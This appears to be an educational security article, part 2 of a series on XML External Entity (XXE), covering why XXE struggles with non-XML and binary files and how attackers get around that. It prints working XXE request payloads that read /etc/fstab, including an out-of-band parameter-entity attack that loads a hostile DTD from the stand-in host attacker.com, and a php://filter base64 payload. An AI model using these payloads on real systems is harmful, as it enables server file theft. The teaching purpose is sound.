This article, Part 2 in this series on XML External Entity (XXE), explores the limitations and workarounds.
XML External Entity (XXE) is a very convenient vulnerability for an attacker to exploit, however, there are cases where obtaining certain files may be difficult. The following is one such example.
POST http://example.com/xml HTTP/1.1 <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY bar SYSTEM "file:///etc/fstab">; ]> <foo> &bar; </foo>
HTTP/1.0 500 Internal Server Error File "file:///etc/fstab", line 3 lxml.etree.XMLSyntaxError: Specification mandate value for attribute system, line 3, column 15...
/etc/fstab is a file which contains some characters that look like XML (even though they’re not XML). This will cause the XML parser to try and parse these elements, only to notice that it’s not a valid XML document.
Therefore, this limits XML External Entity (XXE) in the following ways:
- XXE can only be used to obtain files or responses that contain “valid” XML.
- XXE cannot be used to obtain binary files.
XML External Entities (XXE) Limitation Workarounds
An attacker may be able to work around the above limitations by using a few clever tricks. The primary problem an attacker faces with an XML External Entity (XXE) attack is that it’s easy to hit a brick wall when trying to exfiltrate plain text files that are not valid XML files (e.g. files that contain XML special characters such as
< and >).
The Theoretical Workaround
XML already has a workaround for this problem since there are legitimate cases where one may need to store XML special characters in XML files. Special XML characters in
CDATA (Character Data) tags are ignored by the XML parser.
<data><![CDATA[ < " ' & > characters are ok in here ]]></data>
Therefore, in theory, an attacker could send a request similar to the following.
POST http://example.com/xml HTTP/1.1 <!DOCTYPE data [ <!ENTITY start "<![CDATA["> <!ENTITY file SYSTEM "file:///etc/fstab"> <!ENTITY end "]]>"> <!ENTITY all "&start;&file;&end;"> ]> <data>&all;</data>
HTTP/1.0 200 OK # /etc/fstab: static file system informa... # # <file system> <mount point> <type> ... proc /proc proc defaults 0 0 # /dev/sda5 UUID=be35a709-c787-4198-a903-d5fdc80ab2f... # /dev/sda6 UUID=cee15eca-5b2e-48ad-9735-eae5ac14bc9... /dev/scd0 /media/cdrom0 udf,iso9660 ...
However, it turns out, this will not actually work because it is not permitted by the XML specification to include external entities in combination with internal entities.
Attackers, however, still have a final card they can play – Parameter Entities.
In addition to general entities, which is what we’ve been looking at so far, there are also parameter entities. Parameter entities are just like regular entities but only for use in Data Type Definitions (DTDs). For more about DTDs, refer to the previous article in this series.
The following is what a parameter entity looks like. It’s the same as a general entity, except that it exists inside of the DTD and starts with a % as a prefix to instruct the XML parser that a parameter entity (not a general entity) is being defined. In the example below, a parameter entity is being used to define a general entity, which is then being called inside of the XML document.
POST http://example.com/xml HTTP/1.1 <!DOCTYPE data [ <!ENTITY % paramEntity "<!ENTITY genEntity 'bar'>"> %paramEntity; ]> <data>&genEntity;</data>
HTTP/1.0 200 OK bar
With the above example in mind, an attacker can now take the theoretical CDATA example above and turn it into a working attack by creating a malicious DTD hosted on attacker.com/evil.dtd.
POST http://example.com/xml HTTP/1.1 <!DOCTYPE data [ <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd; %all; ]> <data>&fileContents;</data>
Attacker DTD (attacker.com/evil.dtd)
<!ENTITY % file SYSTEM "file:///etc/fstab"> <!ENTITY % start "<![CDATA["> <!ENTITY % end "]]>"> <!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">
When an attacker sends the above request, the XML parser will first attempt to process the
%dtd parameter entity by making a request to http://attacker.com/evil.dtd.
Once the attacker’s DTD has been downloaded, the XML parser will load the
%file parameter entity (from evil.dtd), which in this case is
/etc/fstab. It will then wrap the contents of the file in
<![CDATA[ ]]> tags using the
%end parameter entities respectively, and stores them in yet another parameter entity called
The heart of the trick is that
%all creates a general entity called
&fileContents;, which, can be included as part of the response back to the attacker.
Note – keep in mind that an attacker can only use parameter entities inside of the DTD, and not inside of the XML document.
The result is a response back to the attacker with the contents of the file (
/etc/fstab) wrapped in
PHP Protocol Wrappers
In cases where the web application vulnerable to XML External Entity (XXE) is a PHP application, some new vectors open up in terms of what an attacker can do, thanks to PHP protocol wrappers. PHP protocol wrappers are I/O streams that allow access to PHP’s own input and output streams.
An attacker can use the
php://filter protocol wrapper to Base64 encode the contents of a file. Since Base64 would always be treated as “valid” XML, an attacker can simply encode files on the server, and then decode them on the receiving end. Additionally, this method also has the added benefit of allowing an attacker to steal binary files.
POST http://example.com/xml.php HTTP/1.1 <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY bar SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/fstab"> ]> <foo> &bar; </foo>
HTTP/1.0 200 OK IyAvZXRjL2ZzdGFiOiBzdGF0aWMgZmlsZSBzeXN0ZW0gaW5mb3JtYXRpb24uDQojDQojIDxmaWxlIHN5c3RlbT4gPG1vdW50IHBvaW50PiAgIDx0eXBlPiAgPG9wdGlvbnM+ICAgICAgIDxkdW1wPiAgPHBhc3M+DQoNCnByb2MgIC9wcm9jICBwcm9jICBkZWZhdWx0cyAgMCAgMA0KIyAvZGV2L3NkYTUNClVVSUQ9YmUzNWE3MDktYzc4Ny00MTk4LWE5MDMtZDVmZGM4MGFiMmY4ICAvICBleHQzICByZWxhdGltZSxlcnJvcnM9cmVtb3VudC1ybyAgMCAgMQ0KIyAvZGV2L3NkYTYNClVVSUQ9Y2VlMTVlY2EtNWIyZS00OGFkLTk3MzUtZWFlNWFjMTRiYzkwICBub25lICBzd2...